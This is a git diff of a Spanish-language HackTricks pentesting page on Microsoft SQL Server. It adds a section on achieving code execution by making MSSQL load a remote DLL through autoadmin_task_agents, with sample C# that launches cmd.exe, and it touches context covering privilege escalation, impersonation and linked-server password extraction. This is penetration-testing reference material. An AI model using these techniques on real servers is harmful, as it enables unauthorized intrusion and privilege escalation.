diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index fe7d92b73..7b5fbd876 100644 --- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -1,15 +1,15 @@ # 1433 - Pentesting MSSQL - Microsoft SQL Server {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -17,7 +17,7 @@ Learn & practice GCP Hacking: **Microsoft SQL Server** es un **sistema de gesti贸n de bases de datos** relacional desarrollado por Microsoft. Como servidor de bases de datos, es un producto de software cuya funci贸n principal es almacenar y recuperar datos seg煤n lo solicitado por otras aplicaciones de software, que pueden ejecutarse en la misma computadora o en otra computadora a trav茅s de una red (incluido Internet).\\ @@ -80,11 +80,10 @@ msf> use windows/manage/mssql_local_auth_bypass ``` ### [**Fuerza bruta**](../../generic-methodologies-and-resources/brute-force.md#sql-server) -### Enumeraci贸n Manual +### Enumeraci贸n manual #### Inicio de sesi贸n - [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt @@ -299,7 +298,7 @@ Puedes ver c贸mo usar estas herramientas en: [abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) {% endcontent-ref %} -### **Escribir archivos** +### **Escribir Archivos** Para escribir archivos usando `MSSQL`, **necesitamos habilitar** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), lo que requiere privilegios de administrador, y luego ejecutar algunos procedimientos almacenados para crear el archivo: ```bash @@ -383,21 +382,81 @@ EXEC sp_helprotect 'xp_regwrite'; ``` For **m谩s ejemplos** consulta la [**fuente original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). -### RCE con funci贸n definida por el usuario de MSSQL - SQLHttp +### RCE con la funci贸n definida por el usuario de MSSQL - SQLHttp Es posible **cargar un .NET dll dentro de MSSQL con funciones personalizadas**. Esto, sin embargo, **requiere acceso `dbo`** por lo que necesitas una conexi贸n con la base de datos **como `sa` o un rol de Administrador**. -[**Sigue este enlace**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo. +[**Siguiendo este enlace**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo. +### RCE con `autoadmin_task_agents` + +Seg煤n[ **esta publicaci贸n**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), tambi茅n es posible cargar un dll remoto y hacer que MSSQL lo ejecute con algo como: + +{% code overflow="wrap" %} +```sql +update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; +``` +{% endcode %} + +Con: +```csharp +using Microsoft.SqlServer.SmartAdmin; +using System; +using System.Diagnostics; + +namespace Class1 +{ +public class Class1 : TaskAgent +{ +public Class1() +{ + +Process process = new Process(); +process.StartInfo.FileName = "cmd.exe"; +process.StartInfo.Arguments = "/c ping localhost -t"; +process.StartInfo.UseShellExecute = false; +process.StartInfo.RedirectStandardOutput = true; +process.Start(); +process.WaitForExit(); +} + +public override void DoWork() +{ + +} + +public override void ExternalJob(string command, LogBaseService jobLogger) +{ + +} + +public override void Start(IServicesFactory services) +{ + +} + +public override void Stop() +{ + +} + + +public void Test() +{ + +} +} +} +``` ### Otras formas de RCE -Existen otros m茅todos para obtener ejecuci贸n de comandos, como agregar [procedimientos almacenados extendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [ensamblados CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [trabajos de SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), y [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). +Hay otros m茅todos para obtener ejecuci贸n de comandos, como agregar [procedimientos almacenados extendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [ensamblados CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [trabajos de SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) y [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). ## Escalaci贸n de privilegios en MSSQL ### De db\_owner a sysadmin -Si a un **usuario regular** se le otorga el rol **`db_owner`** sobre la **base de datos propiedad de un usuario admin** (como **`sa`**) y esa base de datos est谩 configurada como **`trustworthy`**, ese usuario puede abusar de estos privilegios para **privesc** porque **los procedimientos almacenados** creados all铆 pueden **ejecutarse** como el propietario (**admin**). +Si a un **usuario regular** se le otorga el rol **`db_owner`** sobre la **base de datos propiedad de un usuario admin** (como **`sa`**) y esa base de datos est谩 configurada como **`trustworthy`**, ese usuario puede abusar de estos privilegios para **privesc** porque los **procedimientos almacenados** creados all铆 pueden **ejecutarse** como el propietario (**admin**). ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -443,7 +502,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer ``` ### Suplantaci贸n de otros usuarios -SQL Server tiene un permiso especial, llamado **`IMPERSONATE`**, que **permite al usuario que ejecuta tomar las permisos de otro usuario** o inicio de sesi贸n hasta que el contexto se restablezca o la sesi贸n termine. +SQL Server tiene un permiso especial, llamado **`IMPERSONATE`**, que **permite al usuario que ejecuta tomar los permisos de otro usuario** o inicio de sesi贸n hasta que el contexto se restablezca o la sesi贸n termine. ```sql # Find users you can impersonate SELECT distinct b.name @@ -493,9 +552,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ## Extracci贸n de contrase帽as de Servidores Vinculados de SQL Server -Un atacante puede extraer las contrase帽as de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contrase帽as que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y descifrar las contrase帽as almacenadas para los Servidores Vinculados se puede encontrar [aqu铆](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) +Un atacante puede extraer las contrase帽as de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contrase帽as que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y descifrar las contrase帽as almacenadas para los Servidores Vinculados se puede encontrar [aqu铆](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Se deben realizar algunos requisitos y configuraciones para que esta explotaci贸n funcione. Primero que todo, debes tener derechos de Administrador en la m谩quina, o la capacidad de gestionar las Configuraciones de SQL Server. +Se deben realizar algunos requisitos y configuraciones para que esta explotaci贸n funcione. Primero que nada, debes tener derechos de Administrador en la m谩quina, o la capacidad de gestionar las Configuraciones de SQL Server. Despu茅s de validar tus permisos, necesitas configurar tres cosas, que son las siguientes: @@ -509,7 +568,7 @@ Para m谩s informaci贸n, consulta los siguientes enlaces sobre este ataque: [Desc [Solucionando Problemas de la Conexi贸n de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) -## Escalaci贸n de Privilegios Locales +## Escalaci贸n de Privilegios Local El usuario que ejecuta el servidor MSSQL tendr谩 habilitado el token de privilegio **SeImpersonatePrivilege.**\ Probablemente podr谩s **escalar a Administrador** siguiendo una de estas 2 p谩ginas: @@ -536,6 +595,7 @@ Probablemente podr谩s **escalar a Administrador** siguiendo una de estas 2 p谩gi * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) * [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) * [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/) +* [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) ## HackTricks Comandos Autom谩ticos ``` @@ -594,15 +654,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I ``` {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks * Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)! -* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.